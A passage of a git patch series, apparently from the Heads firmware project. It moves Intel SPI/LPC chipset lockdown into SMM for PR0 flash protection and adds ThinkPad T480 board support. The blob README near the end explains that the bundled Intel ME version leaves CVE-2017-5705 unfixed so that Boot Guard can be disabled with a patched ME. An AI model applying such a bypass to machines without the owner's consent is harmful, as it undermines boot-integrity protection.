a/src/soc/intel/common/pch/lockdown/Kconfig b/src/soc/intel/common/pch/lockdown/Kconfig +index 38f60d2056..545185c52f 100644 +--- a/src/soc/intel/common/pch/lockdown/Kconfig ++++ b/src/soc/intel/common/pch/lockdown/Kconfig +@@ -3,7 +3,22 @@ + config SOC_INTEL_COMMON_PCH_LOCKDOWN + bool + default n ++ select HAVE_INTEL_CHIPSET_LOCKDOWN + help + This option allows to have chipset lockdown for DMI, FAST_SPI and + soc_lockdown_config() to implement any additional lockdown as PMC, + LPC for supported PCH. ++ ++config SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM ++ bool "Lock down SPI controller in SMM" ++ default n ++ depends on HAVE_SMI_HANDLER && !INTEL_CHIPSET_LOCKDOWN ++ select SPI_FLASH_SMM ++ help ++ This option allows to have chipset lockdown for FAST_SPI and LPC for ++ supported PCH. If selected, coreboot will skip locking down the SPI ++ and LPC controller. The payload or OS is responsible for locking it ++ using APM_CNT_FINALIZE SMI. Used by heads to set and lock PR0 flash ++ protection. ++ ++ If unsure, say N. +diff --git a/src/soc/intel/common/pch/lockdown/Makefile.mk b/src/soc/intel/common/pch/lockdown/Makefile.mk +index 71466f8edd..64aad562ac 100644 +--- a/src/soc/intel/common/pch/lockdown/Makefile.mk ++++ b/src/soc/intel/common/pch/lockdown/Makefile.mk +@@ -1,2 +1,7 @@ + ## SPDX-License-Identifier: GPL-2.0-only + ramstage-$(CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN) += lockdown.c ++ramstage-$(CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN) += lockdown_lpc.c ++ramstage-$(CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN) += lockdown_spi.c ++ ++smm-$(CONFIG_SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM) += lockdown_lpc.c ++smm-$(CONFIG_SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM) += lockdown_spi.c +diff --git a/src/soc/intel/common/pch/lockdown/lockdown.c b/src/soc/intel/common/pch/lockdown/lockdown.c +index eec3beb01b..2d229e1a90 100644 +--- a/src/soc/intel/common/pch/lockdown/lockdown.c ++++ b/src/soc/intel/common/pch/lockdown/lockdown.c +@@ -60,56 +60,17 @@ static void fast_spi_lockdown_cfg(int chipset_lockdown) + /* Set FAST_SPI opcode menu */ + fast_spi_set_opcode_menu(); + +- /* Discrete Lock Flash PR registers */ +- fast_spi_pr_dlock(); +- + /* Check if SPI transaction is pending */ + fast_spi_cycle_in_progress(); + + /* Clear any outstanding status bits like AEL, FCERR, FDONE, SAF etc. */ + fast_spi_clear_outstanding_status(); + +- /* Lock FAST_SPIBAR */ +- fast_spi_lock_bar(); +- + /* Set Vendor Component Lock (VCL) */ + fast_spi_vscc0_lock(); + +- /* Set BIOS Interface Lock, BIOS Lock */ +- if (chipset_lockdown == CHIPSET_LOCKDOWN_COREBOOT) { +- /* BIOS Interface Lock */ +- fast_spi_set_bios_interface_lock_down(); +- +- /* Only allow writes in SMM */ +- if (CONFIG(BOOTMEDIA_SMM_BWP)) { +- fast_spi_set_eiss(); +- fast_spi_enable_wp(); +- } +- +- /* BIOS Lock */ +- fast_spi_set_lock_enable(); +- +- /* EXT BIOS Lock */ +- fast_spi_set_ext_bios_lock_enable(); +- } +-} +- +-static void lpc_lockdown_config(int chipset_lockdown) +-{ +- /* Set BIOS Interface Lock, BIOS Lock */ +- if (chipset_lockdown == CHIPSET_LOCKDOWN_COREBOOT) { +- /* BIOS Interface Lock */ +- lpc_set_bios_interface_lock_down(); +- +- /* Only allow writes in SMM */ +- if (CONFIG(BOOTMEDIA_SMM_BWP)) { +- lpc_set_eiss(); +- lpc_enable_wp(); +- } +- +- /* BIOS Lock */ +- lpc_set_lock_enable(); +- } ++ if (!CONFIG(SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM)) ++ fast_spi_lockdown_bios(chipset_lockdown); + } + + static void sa_lockdown_config(int chipset_lockdown) +@@ -135,8 +96,9 @@ static void platform_lockdown_config(void *unused) + /* SPI lock down configuration */ + fast_spi_lockdown_cfg(chipset_lockdown); + +- /* LPC/eSPI lock down configuration */ +- lpc_lockdown_config(chipset_lockdown); ++ if (!CONFIG(SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM)) ++ /* LPC/eSPI lock down configuration */ ++ lpc_lockdown_config(chipset_lockdown); + + /* GPMR lock down configuration */ + gpmr_lockdown_cfg(); +diff --git a/src/soc/intel/common/pch/lockdown/lockdown_lpc.c b/src/soc/intel/common/pch/lockdown/lockdown_lpc.c +new file mode 100644 +index 0000000000..69278ea343 +--- /dev/null ++++ b/src/soc/intel/common/pch/lockdown/lockdown_lpc.c +@@ -0,0 +1,23 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include ++#include ++ ++void lpc_lockdown_config(int chipset_lockdown) ++{ ++ /* Set BIOS Interface Lock, BIOS Lock */ ++ if (chipset_lockdown == CHIPSET_LOCKDOWN_COREBOOT) { ++ /* BIOS Interface Lock */ ++ lpc_set_bios_interface_lock_down(); ++ ++ /* Only allow writes in SMM */ ++ if (CONFIG(BOOTMEDIA_SMM_BWP)) { ++ lpc_set_eiss(); ++ lpc_enable_wp(); ++ } ++ ++ /* BIOS Lock */ ++ lpc_set_lock_enable(); ++ } ++} +diff --git a/src/soc/intel/common/pch/lockdown/lockdown_spi.c b/src/soc/intel/common/pch/lockdown/lockdown_spi.c +new file mode 100644 +index 0000000000..8dbe93013e +--- /dev/null ++++ b/src/soc/intel/common/pch/lockdown/lockdown_spi.c +@@ -0,0 +1,32 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include ++#include ++ ++void fast_spi_lockdown_bios(int chipset_lockdown) ++{ ++ /* Discrete Lock Flash PR registers */ ++ fast_spi_pr_dlock(); ++ ++ /* Lock FAST_SPIBAR */ ++ fast_spi_lock_bar(); ++ ++ /* Set BIOS Interface Lock, BIOS Lock */ ++ if (chipset_lockdown == CHIPSET_LOCKDOWN_COREBOOT) { ++ /* BIOS Interface Lock */ ++ fast_spi_set_bios_interface_lock_down(); ++ ++ /* Only allow writes in SMM */ ++ if (CONFIG(BOOTMEDIA_SMM_BWP)) { ++ fast_spi_set_eiss(); ++ fast_spi_enable_wp(); ++ } ++ ++ /* BIOS Lock */ ++ fast_spi_set_lock_enable(); ++ ++ /* EXT BIOS Lock */ ++ fast_spi_set_ext_bios_lock_enable(); ++ } ++} +diff --git a/src/soc/intel/denverton_ns/lpc.c b/src/soc/intel/denverton_ns/lpc.c +index 7dc971ea92..c4f7681c62 100644 +--- a/src/soc/intel/denverton_ns/lpc.c ++++ b/src/soc/intel/denverton_ns/lpc.c +@@ -536,7 +536,8 @@ static const struct pci_driver lpc_driver __pci_driver = { + + static void finalize_chipset(void *unused) + { +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); + } + + BOOT_STATE_INIT_ENTRY(BS_OS_RESUME, BS_ON_ENTRY, finalize_chipset, NULL); +diff --git a/src/soc/intel/elkhartlake/finalize.c b/src/soc/intel/elkhartlake/finalize.c +index 275413b4ef..fc54710303 100644 +--- a/src/soc/intel/elkhartlake/finalize.c ++++ b/src/soc/intel/elkhartlake/finalize.c +@@ -43,7 +43,9 @@ static void soc_finalize(void *unused) + printk(BIOS_DEBUG, "Finalizing chipset.\n"); + + pch_finalize(); +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); ++ + if (CONFIG(USE_FSP_NOTIFY_PHASE_READY_TO_BOOT) && + CONFIG(USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE)) + heci_finalize(); +diff --git a/src/soc/intel/jasperlake/finalize.c b/src/soc/intel/jasperlake/finalize.c +index 8788db155d..4840c0c04c 100644 +--- a/src/soc/intel/jasperlake/finalize.c ++++ b/src/soc/intel/jasperlake/finalize.c +@@ -76,7 +76,8 @@ static void soc_finalize(void *unused) + printk(BIOS_DEBUG, "Finalizing chipset.\n"); + + pch_finalize(); +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); + + /* Indicate finalize step with post code */ + post_code(POSTCODE_OS_BOOT); +diff --git a/src/soc/intel/meteorlake/finalize.c b/src/soc/intel/meteorlake/finalize.c +index 1fd1d98fb5..80802db285 100644 +--- a/src/soc/intel/meteorlake/finalize.c ++++ b/src/soc/intel/meteorlake/finalize.c +@@ -64,7 +64,9 @@ static void soc_finalize(void *unused) + printk(BIOS_DEBUG, "Finalizing chipset.\n"); + + pch_finalize(); +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); ++ + tbt_finalize(); + sa_finalize(); + if (CONFIG(USE_FSP_NOTIFY_PHASE_READY_TO_BOOT) && +diff --git a/src/soc/intel/pantherlake/finalize.c b/src/soc/intel/pantherlake/finalize.c +index 05ec3eaaca..1d47dd7a0b 100644 +--- a/src/soc/intel/pantherlake/finalize.c ++++ b/src/soc/intel/pantherlake/finalize.c +@@ -63,7 +63,9 @@ static void soc_finalize(void *unused) + printk(BIOS_DEBUG, "Finalizing chipset.\n"); + + pch_finalize(); +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); ++ + tbt_finalize(); + sa_finalize(); + if (CONFIG(USE_FSP_NOTIFY_PHASE_READY_TO_BOOT) && +diff --git a/src/soc/intel/skylake/finalize.c b/src/soc/intel/skylake/finalize.c +index fd80aeac1a..a147b62e46 100644 +--- a/src/soc/intel/skylake/finalize.c ++++ b/src/soc/intel/skylake/finalize.c +@@ -106,7 +106,8 @@ static void soc_finalize(void *unused) + pch_finalize_script(dev); + + soc_lockdown(dev); +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); + + /* Indicate finalize step with post code */ + post_code(POSTCODE_OS_BOOT); +diff --git a/src/soc/intel/tigerlake/finalize.c b/src/soc/intel/tigerlake/finalize.c +index cd02745a9e..158b2fb691 100644 +--- a/src/soc/intel/tigerlake/finalize.c ++++ b/src/soc/intel/tigerlake/finalize.c +@@ -55,7 +55,9 @@ static void soc_finalize(void *unused) + printk(BIOS_DEBUG, "Finalizing chipset.\n"); + + pch_finalize(); +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); ++ + tbt_finalize(); + if (CONFIG(DISABLE_HECI1_AT_PRE_BOOT)) + heci1_disable(); +diff --git a/src/soc/intel/xeon_sp/finalize.c b/src/soc/intel/xeon_sp/finalize.c +index a7b3602744..f0cd8a1998 100644 +--- a/src/soc/intel/xeon_sp/finalize.c ++++ b/src/soc/intel/xeon_sp/finalize.c +@@ -59,7 +59,8 @@ static void soc_finalize(void *unused) + if (!CONFIG(USE_PM_ACPI_TIMER)) + setbits8(pmc_mmio_regs() + PCH_PWRM_ACPI_TMR_CTL, ACPI_TIM_DIS); + +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); + + if (CONFIG_MAX_SOCKET > 1) { + /* This MSR is package scope but run for all cpus for code simplicity */ +diff --git a/src/soc/intel/xeon_sp/lockdown.c b/src/soc/intel/xeon_sp/lockdown.c +index a3d17b46c3..51a5cf5431 100644 +--- a/src/soc/intel/xeon_sp/lockdown.c ++++ b/src/soc/intel/xeon_sp/lockdown.c +@@ -6,25 +6,15 @@ + #include + #include + +-static void lpc_lockdown_config(void) +-{ +- /* Set BIOS Interface Lock, BIOS Lock */ +- lpc_set_bios_interface_lock_down(); +- +- /* Only allow writes in SMM */ +- if (CONFIG(BOOTMEDIA_SMM_BWP)) { +- lpc_set_eiss(); +- lpc_enable_wp(); +- } +- lpc_set_lock_enable(); +-} +- + void soc_lockdown_config(int chipset_lockdown) + { + if (chipset_lockdown == CHIPSET_LOCKDOWN_FSP) + return; + +- lpc_lockdown_config(); ++ if (!CONFIG(SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM)) ++ /* LPC/eSPI lock down configuration */ ++ lpc_lockdown_config(chipset_lockdown); ++ + pmc_lockdown_config(); + sata_lockdown_config(chipset_lockdown); + spi_lockdown_config(chipset_lockdown); +-- +2.39.5 + From 32fc31bc6ee699785942b36062d92d9443ec9bc8 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 14:04:01 -0500 Subject: [PATCH 504/619] patches/coreboot-t480/85278-post-skylake-pr0.patch: remove xeon bits we are not interested into which are conflicting against coreboot upstream commit 2f1e4e5e8515dd350cc9d68b48d32a5b6b02ae6a Signed-off-by: Thierry Laurion --- .../85278-post-skylake-pr0.patch | 48 ------------------- 1 file changed, 48 deletions(-) diff --git a/patches/coreboot-t480/85278-post-skylake-pr0.patch b/patches/coreboot-t480/85278-post-skylake-pr0.patch index c8e4cd251..0f63b133c 100644 --- a/patches/coreboot-t480/85278-post-skylake-pr0.patch +++ b/patches/coreboot-t480/85278-post-skylake-pr0.patch @@ -424,54 +424,6 @@ index cd02745a9e..158b2fb691 100644 tbt_finalize(); if (CONFIG(DISABLE_HECI1_AT_PRE_BOOT)) heci1_disable(); -diff --git a/src/soc/intel/xeon_sp/finalize.c b/src/soc/intel/xeon_sp/finalize.c -index a7b3602744..f0cd8a1998 100644 ---- a/src/soc/intel/xeon_sp/finalize.c -+++ b/src/soc/intel/xeon_sp/finalize.c -@@ -59,7 +59,8 @@ static void soc_finalize(void *unused) - if (!CONFIG(USE_PM_ACPI_TIMER)) - setbits8(pmc_mmio_regs() + PCH_PWRM_ACPI_TMR_CTL, ACPI_TIM_DIS); - -- apm_control(APM_CNT_FINALIZE); -+ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) -+ apm_control(APM_CNT_FINALIZE); - - if (CONFIG_MAX_SOCKET > 1) { - /* This MSR is package scope but run for all cpus for code simplicity */ -diff --git a/src/soc/intel/xeon_sp/lockdown.c b/src/soc/intel/xeon_sp/lockdown.c -index a3d17b46c3..51a5cf5431 100644 ---- a/src/soc/intel/xeon_sp/lockdown.c -+++ b/src/soc/intel/xeon_sp/lockdown.c -@@ -6,25 +6,15 @@ - #include - #include - --static void lpc_lockdown_config(void) --{ -- /* Set BIOS Interface Lock, BIOS Lock */ -- lpc_set_bios_interface_lock_down(); -- -- /* Only allow writes in SMM */ -- if (CONFIG(BOOTMEDIA_SMM_BWP)) { -- lpc_set_eiss(); -- lpc_enable_wp(); -- } -- lpc_set_lock_enable(); --} -- - void soc_lockdown_config(int chipset_lockdown) - { - if (chipset_lockdown == CHIPSET_LOCKDOWN_FSP) - return; - -- lpc_lockdown_config(); -+ if (!CONFIG(SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM)) -+ /* LPC/eSPI lock down configuration */ -+ lpc_lockdown_config(chipset_lockdown); -+ - pmc_lockdown_config(); - sata_lockdown_config(chipset_lockdown); - spi_lockdown_config(chipset_lockdown); -- 2.39.5 From e62b84b4c04ce2e9da5735b03e5b3231289d152e Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 14:09:57 -0500 Subject: [PATCH 505/619] config/coreboot-t480.config: add PR0, unify against nv41, save in oldconfig Signed-off-by: Thierry Laurion --- config/coreboot-t480.config | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/config/coreboot-t480.config b/config/coreboot-t480.config index 0ad6af739..396b4a428 100644 --- a/config/coreboot-t480.config +++ b/config/coreboot-t480.config @@ -240,7 +240,7 @@ CONFIG_EC_STARLABS_BATTERY_MODEL="Unknown" CONFIG_EC_STARLABS_BATTERY_TYPE="LION" CONFIG_EC_STARLABS_BATTERY_OEM="Unknown" CONFIG_TPM_MEASURED_BOOT=y -CONFIG_LINUX_COMMAND_LINE="" +CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_256 is not set # CONFIG_COREBOOT_ROMSIZE_KB_512 is not set @@ -432,6 +432,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y CONFIG_SOC_INTEL_COMMON_PCH_BASE=y CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y +CONFIG_SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM=y CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y @@ -489,8 +490,10 @@ CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y CONFIG_PCIEXP_HOTPLUG=y CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y # CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set +# CONFIG_INTEL_CHIPSET_LOCKDOWN is not set CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 CONFIG_RCBA_LENGTH=0x4000 @@ -626,6 +629,7 @@ CONFIG_MRC_SETTINGS_PROTECT=y CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +CONFIG_SPI_FLASH_SMM=y # CONFIG_SPI_FLASH_NO_FAST_READ is not set CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set @@ -732,9 +736,11 @@ CONFIG_PLATFORM_HAS_DRAM_CLEAR=y # CONFIG_INTEL_TXT is not set # CONFIG_STM is not set # CONFIG_INTEL_CBNT_SUPPORT is not set -CONFIG_BOOTMEDIA_LOCK_NONE=y -# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set +# CONFIG_BOOTMEDIA_LOCK_NONE is not set +CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y # CONFIG_BOOTMEDIA_LOCK_CHIP is not set +CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y +# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set # CONFIG_BOOTMEDIA_SMM_BWP is not set # end of Security @@ -867,7 +873,7 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set # CONFIG_DISPLAY_FSP_HEADER is not set # CONFIG_VERIFY_HOBS is not set -# CONFIG_DISPLAY_FSP_VERSION_INFO is not set +CONFIG_DISPLAY_FSP_VERSION_INFO=y CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y # CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set From 002d107ec93acda72c9e2747376324c40f62093b Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 17:07:09 -0500 Subject: [PATCH 506/619] config/coreboot-t480.config: unset CONFIG_DISPLAY_FSP_VERSION_INFO otherwise build error Signed-off-by: Thierry Laurion --- config/coreboot-t480.config | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config/coreboot-t480.config b/config/coreboot-t480.config index 396b4a428..715257deb 100644 --- a/config/coreboot-t480.config +++ b/config/coreboot-t480.config @@ -873,7 +873,7 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set # CONFIG_DISPLAY_FSP_HEADER is not set # CONFIG_VERIFY_HOBS is not set -CONFIG_DISPLAY_FSP_VERSION_INFO=y +# CONFIG_DISPLAY_FSP_VERSION_INFO is not set CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y # CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set From e8974daebba6e16a773b97242670e94607e6635d Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 17:17:26 -0500 Subject: [PATCH 507/619] boards/t480-maximized/t480-maximized.config: enable pr0 (impacts only after kexec call to final OS. Otherwise, problem with coreboot config) Signed-off-by: Thierry Laurion --- boards/t480-maximized/t480-maximized.config | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/boards/t480-maximized/t480-maximized.config b/boards/t480-maximized/t480-maximized.config index 9b48ef87f..ba349d35f 100644 --- a/boards/t480-maximized/t480-maximized.config +++ b/boards/t480-maximized/t480-maximized.config @@ -22,8 +22,8 @@ CONFIG_TPMTOTP=y #platform locking finalization (PR0) # Disable for first try, enable when rest works -#CONFIG_IO386=y -#export CONFIG_FINALIZE_PLATFORM_LOCKING=y +CONFIG_IO386=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y # Dependencies for a graphical menu. Enable CONFIG_SLANG and CONFIG_NEWT instead From f75ddb81c32957c0d0f6dfd9a72361e6914d4f59 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Tue, 14 Jan 2025 13:20:05 +0100 Subject: [PATCH 508/619] add t480 board Signed-off-by: gaspar-ilom --- .circleci/config.yml | 15 + BOARD_TESTERS.md | 5 + blobs/kabylake/.gitignore | 3 + blobs/kabylake/fetch_split_fsp.sh | 59 + blobs/xx80/.gitignore | 1 + blobs/xx80/README | 30 + blobs/xx80/download_clean_deguard_me.sh | 131 + blobs/xx80/gbe.bin | Bin 0 -> 8192 bytes blobs/xx80/hashes.txt | 5 + blobs/xx80/ifd.bin | Bin 0 -> 4096 bytes .../t480-hotp-maximized.config | 70 + boards/t480-maximized/t480-maximized.config | 69 + config/coreboot-t480-maximized.config | 907 +++++++ config/coreboot-t480.config | 868 +++++++ ...zalia_device.h-Correct-location2-shi.patch | 49 + ...erge-enums-from-azalia_device.h-and-.patch | 552 ++++ ...zalia_device.h-Merge-location1-and-l.patch | 194 ++ ...parate-codec-checking-and-initializa.patch | 173 ++ .../0009-azalia-Get-rid-of-return-1-0.patch | 301 +++ ...e-Enable-4E-4F-PNP-I-O-ports-in-boot.patch | 30 + ...Add-ThinkPad-T480-and-ThinkPad-T480s.patch | 2237 +++++++++++++++++ targets/xx80_me_blobs.mk | 27 + 22 files changed, 5726 insertions(+) create mode 100644 blobs/kabylake/.gitignore create mode 100755 blobs/kabylake/fetch_split_fsp.sh create mode 100644 blobs/xx80/.gitignore create mode 100644 blobs/xx80/README create mode 100755 blobs/xx80/download_clean_deguard_me.sh create mode 100644 blobs/xx80/gbe.bin create mode 100644 blobs/xx80/hashes.txt create mode 100644 blobs/xx80/ifd.bin create mode 100644 boards/t480-hotp-maximized/t480-hotp-maximized.config create mode 100644 boards/t480-maximized/t480-maximized.config create mode 100644 config/coreboot-t480-maximized.config create mode 100644 config/coreboot-t480.config create mode 100644 patches/coreboot-24.02.01/0005-include-device-azalia_device.h-Correct-location2-shi.patch create mode 100644 patches/coreboot-24.02.01/0006-include-device-Merge-enums-from-azalia_device.h-and-.patch create mode 100644 patches/coreboot-24.02.01/0007-include-device-azalia_device.h-Merge-location1-and-l.patch create mode 100644 patches/coreboot-24.02.01/0008-device-azalia-Separate-codec-checking-and-initializa.patch create mode 100644 patches/coreboot-24.02.01/0009-azalia-Get-rid-of-return-1-0.patch create mode 100644 patches/coreboot-24.02.01/0010-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch create mode 100644 patches/coreboot-24.02.01/0011-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch create mode 100644 targets/xx80_me_blobs.mk diff --git a/.circleci/config.yml b/.circleci/config.yml index 6ff83e202..026719f8c 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -424,6 +424,20 @@ workflows: requires: - x230-hotp-maximized + - build: + name: t480-maximized + target: t480-maximized + subcommand: "" + requires: + - x230-hotp-maximized + + - build: + name: t480-hotp-maximized + target: t480-hotp-maximized + subcommand: "" + requires: + - x230-hotp-maximized + - build: name: UNTESTED_w541-maximized target: UNTESTED_w541-maximized @@ -556,3 +570,4 @@ workflows: subcommand: "" requires: - librem_l1um + diff --git a/BOARD_TESTERS.md b/BOARD_TESTERS.md index 622fc3ded..e34c3b630 100644 --- a/BOARD_TESTERS.md +++ b/BOARD_TESTERS.md @@ -32,6 +32,11 @@ xx4x(Haswell): - [ ] t440p: @fhvyhjriur @ThePlexus @srgrint @akunterkontrolle @rbreslow - [ ] w541 (similar to t440p): @ResendeGHF @gaspar-ilom (Always tested late: Needs more responsive board testers or risk to become unmaintained.) +xx8x(Kaby Lake Refresh): +=== +- [ ] t480: @gaspar-ilom +- [ ] t480s (similar to t480): TODO: NOT SUPPORTED OR TESTED YET + Librems: === - [ ] Librem 11(JasperLake): @JonathonHall-Purism diff --git a/blobs/kabylake/.gitignore b/blobs/kabylake/.gitignore new file mode 100644 index 000000000..143d29a2b --- /dev/null +++ b/blobs/kabylake/.gitignore @@ -0,0 +1,3 @@ +Fsp_M.fd +Fsp_S.fd +Fsp_T.fd \ No newline at end of file diff --git a/blobs/kabylake/fetch_split_fsp.sh b/blobs/kabylake/fetch_split_fsp.sh new file mode 100755 index 000000000..4cd362e9a --- /dev/null +++ b/blobs/kabylake/fetch_split_fsp.sh @@ -0,0 +1,59 @@ +#!/usr/bin/env bash + +function usage() { + echo -n \ + "Usage: $(basename "$0") path_to_output_directory +Get FSP from coreboot git submodule and split. +" +} + +# Integrity checks for the coreboot provided fsp blob... +FSP_FD_COREBOOT_HASH="ddfbc51430699e0dfcb24a60bcb5b6e5481b325ebecf1ac177e069013189e4b0" +FSP_SUBMODULE_PATH="3rdparty/fsp" +PATH_TO_FSP_FD_IN_SUBMODULE="KabylakeFspBinPkg/Fsp.fd" +SPLIT_FSP_PATH_IN_SUBMODULE="Tools/SplitFspBin.py" + + +split_fsp() +{ + fsp_binary="$1" + fsp_output_dir="$2" + split_fsp_py="${COREBOOT_DIR}/${FSP_SUBMODULE_PATH}/${SPLIT_FSP_PATH_IN_SUBMODULE}" + python "$split_fsp_py" split -f "$fsp_binary" -o "$fsp_output_dir" -n "Fsp.fd" || exit 1 +} + +if [[ "${BASH_SOURCE[0]}" == "$0" ]]; then + if [[ "${1:-}" == "--help" ]]; then + usage + else + output_dir="$(realpath "${1:-./}")" + fsp_m_path="${output_dir}/Fsp_M.fd" + fsp_s_path="${output_dir}/Fsp_S.fd" + #chk_exists + + if [[ -z "${COREBOOT_DIR}" ]]; then + echo "ERROR: No COREBOOT_DIR variable defined." + exit 1 + fi + + # TODO chk_exists above + # if [[ ! -f "$fsp_s_path" ]] || [[ ! -f "$fsp_m_path" ]] || [ "$retry" = "y" ]; then + git -C "$COREBOOT_DIR" submodule update --init --checkout "$FSP_SUBMODULE_PATH" + fsp_fd="${COREBOOT_DIR}/${FSP_SUBMODULE_PATH}/${PATH_TO_FSP_FD_IN_SUBMODULE}" + chk_sha256sum "$FSP_FD_COREBOOT_HASH" "$fsp_fd" + pushd "$(mktemp -d)" || exit + fsp_file="Fsp.fd" + cp "$fsp_fd" "$fsp_file" + + split_fsp "$(pwd)/${fsp_file}" "$output_dir" + + rm -rf ./* + popd || exit + git -C "$COREBOOT_DIR" submodule deinit "$FSP_SUBMODULE_PATH" + # fi + + # TODO final checksums + # chk_sha256sum "$FSP_FD_COREBOOT_HASH" "$fsp_s_path" + # chk_sha256sum "$FSP_FD_COREBOOT_HASH" "$fsp_m_path" + fi +fi \ No newline at end of file diff --git a/blobs/xx80/.gitignore b/blobs/xx80/.gitignore new file mode 100644 index 000000000..24d49395b --- /dev/null +++ b/blobs/xx80/.gitignore @@ -0,0 +1 @@ +me.bin diff --git a/blobs/xx80/README b/blobs/xx80/README new file mode 100644 index 000000000..082926c1e --- /dev/null +++ b/blobs/xx80/README @@ -0,0 +1,30 @@ +The ME blobs dumped in this directory come from the following link: https://dl.dell.com/FOLDER04573471M/1/Inspiron_5468_1.3.0.exe + +This provides ME version 11.6.0.1126. In this version CVE-2017-5705 has not yet been fixed. +See https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00086.html +Therefore, Bootguard can be disabled by deguard with a patched ME. + +1.0.0:Automatically extract, neuter and deguard me.bin +download_clean_me.sh : Downloads vulnerable ME from Dell verify checksum, extract ME, neuters ME, relocate and trim it, then apply deguard patch and place it into me.bin + +sha256sum: +1990b42df67ba70292f4f6e2660efb909917452dcb9bd4b65ea2f86402cfa16b me.bin + +1.0.1: Extract blobs from original rom: +extract.sh: takes backup, unlocks ifd, apply me_cleaner to neuter, relocate, trim and deguard it, modify BIOS and ME region of IFD and place output files into this dir. + +sha256sum: will vary depending of IFD and ME extracted where IFD regions of BIOS and ME should be consistent. + +1.1: More blobs +-------------------- +ifd.bin was extracted from a T480 from an external flashrom backup. + +sha256sum: +f2f6d5fb0a5e02964b494862032fd93f1f88e2febd9904b936083600645c7fdf ifd.bin + +sha256sum: +6b7f3912995fb87ae62956e009470b35b72b5b9a4bfd7bed48da429af9804866 gbe.bin +------------------------ + +Notes: as specified in first link, this ME can be 